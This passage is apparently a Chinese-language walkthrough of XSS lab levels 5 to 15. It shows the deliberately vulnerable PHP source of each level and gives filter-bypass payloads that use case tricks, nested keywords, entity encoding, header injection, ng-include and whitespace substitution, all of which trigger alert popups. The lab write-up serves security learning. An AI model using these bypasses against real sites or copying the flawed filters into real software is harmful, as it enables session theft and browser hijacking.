函数转换,把所有字符转换为小写;接着过滤了 <script
,并替换为 <scr_ipt
;过滤了 on
并替换为 o_n
。因为 on
是很多事件都包含的关键词,所以这里无法直接通过闭合引号在 input
标签中来触发弹窗了,但是可以闭合双引号和标签,然后通过 javascript:alert('XSS')
这种形式来触发弹窗。
payload
JAVASCRIPT
"><a href=javascript:alert('XSS') //
第 6 关 大小写转换
源码
PHP
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
比第 5 关加入了很多的过滤规则,而且过滤了 href
属性,这样就无法使用 javascript:alert()
这种形势来弹窗了,但是仔细观察源码,这里少了第 5 关的 strtolower()
函数,所以这里可以通过大小写转换来绕过过滤。
payload1
JAVASCRIPT
" Onclick=alert('XSS') //
payload2
JAVASCRIPT
"><a Href=javascript:alert('XSS') //
第 7 关 嵌套构造
源码
PHP
<?php
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
在第 6 关的基础上,首先还统一使用了 strtolower()
函数,将 keyword 变量的值转换了小写,这样就无法直接使用大小写转换的思路来绕过了。但是这里的过滤比较巧妙,是直接将敏感字符替换为空(即删掉了),这种机制我们可以尝试使用嵌套构造 payload 来绕过。
payload
JAVASCRIPT
" oonnclick=alert('XSS') //
第 8 关 HTML 编码
源码
PHP
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
这里的过滤规则很完善,基本上都过滤掉了可能触发弹窗的一些字符串。同时有 2 个输出,一个输出在了 input
标签中,并且通过 htmlspecialchars($str)
函数实体化后输出来,这里基本上是凉凉了。看第 2 个输出,是在 center
标签中,而且没有过滤,直接输出在了双引号 "
之间,当作字符串处理,利用当作字符串处理的特点,可以直接将我们的 payload HTML 使用 HTML 实体字符编码绕过,有因为直接输出在了 href
的属性里面,所以可以尝试 javascript()
这种形式来触发弹窗。
j 将 t
编码为 t
payload1
CODE
javascript:alert('XSS') //
也可以将 Tab键
编码或者回车
键编码来插入来 Bypass
payload2
JAVASCRIPT
javascrip	t:alert('XSS') //
javascrip
t:alert('XSS') //
第 9 关 阅读源码
源码
PHP
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
这里只是比第 8 关多了到对提交的 keyword 里面是否有 http://
的检测,所以 Bypass 的话就很简单,直接在第 8 关的 payload 后面添加:http://
payload
JAVASCRIPT
javascript:alert('XSS') //http://
第 10 关 覆盖元素属性
源码
PHP
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
可以看出这里 keyword 变量依然没戏,被 HTML 实体化输出了出来,所以重点放在 t_sort
这个标签上,只过滤了尖括号,然后就直接输出到了 input
标签中,所以这里可以尝试直接在标签中闭合构造事件来弹窗,还得注意一点就是这里的 input
标签使用了 type="hidden"
将输入框隐藏了起来,可以手动赋值 type
的值来覆盖掉先前的属性来达到显示文本框的目的。
payload
JAVASCRIPT
level10.php?keyword=233&t_sort=" type="" onclick=alert('XSS') //
第 11 关 HTTP Referer
源码
PHP
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
看变量的输出基本上可以判定 $str
和 $str00
变量没戏,也就是我们可以控制的 keyword
和 t_sort
变量是无法突破限制来弹窗的。观察 $str33
是通过 $str11=$_SERVER['HTTP_REFERER'];
过滤了尖括号然后赋值的,那么尝试在 HTTP 请求头的 Referer
构造 payload。
使用 hackbar
或者 BurpSuite
可以很方便地改写 HTTP 请求头地 Referer
字段:
payload
JAVASCRIPT
Referer: " type="" onclick=alert('XSS') //
第 12 关 HTTP User-Agent
源码
PHP
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
这一题和上一题类似,只是这里的漏洞点出现在了 HTTP 请求头的 User-Agent
。
使用 hackbar
或者 BurpSuite
可以很方便地改写 HTTP 请求头地 User-Agent
字段:
payload
JAVASCRIPT
User-Agent: " type="" onclick=alert('XSS') //
第 13 关 HTTP Cookie
源码
PHP
<?php
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
这里的漏洞点出现在了 HTTP 请求头的 Cookie
的 user
属性中。
使用 hackbar
或者 BurpSuite
可以很方便地改写 HTTP 请求头地 Cookie
字段:
payload
CODE
Cookie: user=" type="" onclick=alert('XSS') //
第 14 关 Angular JS
源码
PHP
<script src="https://ajax.lug.ustc.edu.cn/ajax/libs/angularjs/1.2.0/angular.min.js"></script>
<?php
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>
这题考察 Angular JS
的 ng-include
用法,具体可以参考这篇资料:AngularJS ng-include 指令
ng-include 指令用于包含外部的 HTML 文件,包含的内容将作为指定元素的子节点。ng-include
属性的值可以是一个表达式,返回一个文件名。默认情况下,包含的文件需要包含在同一个域名下。所以这里就用来包含其他关的页面来触发弹窗。
payload
JAVASCRIPT代码:
level14.php?src="level1.php?name=<img src=x onerror=alert('XSS')>"
第 15 关 过滤空格
源码
PHP代码:
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(" "," ",$str4);
echo "<center>".$str5."</center>";
?>
这里过滤掉了 script 标签,可以尝试使用其他标签通过事件来弹窗,但是也过滤了空格。
可以使用如下符号替代空格
符号 | URL 编码 |
---|---|
回车 (CR) | %0d |
换行 (LF) | %0a |
???求补充 | %0c |
payload
JAVASCRIPT代码:
level15.php?keyword=<img%0asrc=x%0aonerror=alert('XSS')>
-
& (和号)成为
&
-
“(双引号)成为
"
-
‘ (单引号)成为
'
-
< (小于)成为
<
-
> (大于)成为
>
-
单引号(’)
-
双引号(”)
-
反斜杠()
-
NULL
-
x00
-
n
-
r
-
‘
-
“
-
x1a
-
网络钓鱼
-
盗取用户 cookies 信息
-
劫持用户浏览器
-
强制弹出广告页面、刷流量
-
网页挂马
-
进行恶意操作,例如任意篡改页面信息
-
获取客户端隐私信息
-
控制受害者机器向其他网站发起攻击
-
结合其他漏洞,如 CSRF 漏洞,实施进一步作恶
-
提升用户权限,包括进一步渗透网站
-
传播跨站脚本蠕虫等
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论